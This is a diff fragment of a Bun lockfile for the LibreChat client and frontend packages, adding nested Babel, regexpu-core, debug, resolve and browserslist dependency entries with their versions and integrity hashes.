+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
+
+ "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
+
+ "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
+
+ "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
+
+ "@librechat/client/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
+
+ "@librechat/client/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
+
+ "@librechat/client/@babel/preset-env/core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+
+ "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
+
+ "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
+
+ "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
